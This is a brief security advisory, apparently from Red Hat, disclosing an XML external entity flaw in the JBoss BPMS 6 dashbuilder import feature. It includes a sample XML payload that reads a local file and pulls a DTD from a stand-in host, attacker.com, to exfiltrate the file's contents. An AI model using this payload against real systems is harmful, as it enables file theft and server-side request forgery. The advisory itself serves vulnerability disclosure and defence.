A flaw was found in the dashbuilder import facility of JBoss BPMS 6: the DocumentBuilders instantiated in org.jboss.dashboard.export.ImportManagerImpl do not disable external entities.

This could allow an attacker to perform a variate of XXE/SSRF attacks. Exfiltrating data using a general entity attack is not obviously possible, but standard parameter entity exfiltration techniques will work.

For example, importing the following file:

<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///tmp/loot.txt">
<!ENTITY % dtd SYSTEM "http://attacker.com/send.dtd">
%dtd;
%send;
]]>
<doc>bar</doc>

causes Send.dtd to be retrieved, and loot.txt to be exfiltrated if send.dtd contains the appropriate content.

Acknowledgements:

Red Hat would like to thank David Jorm of IIX Product Security for reporting this issue.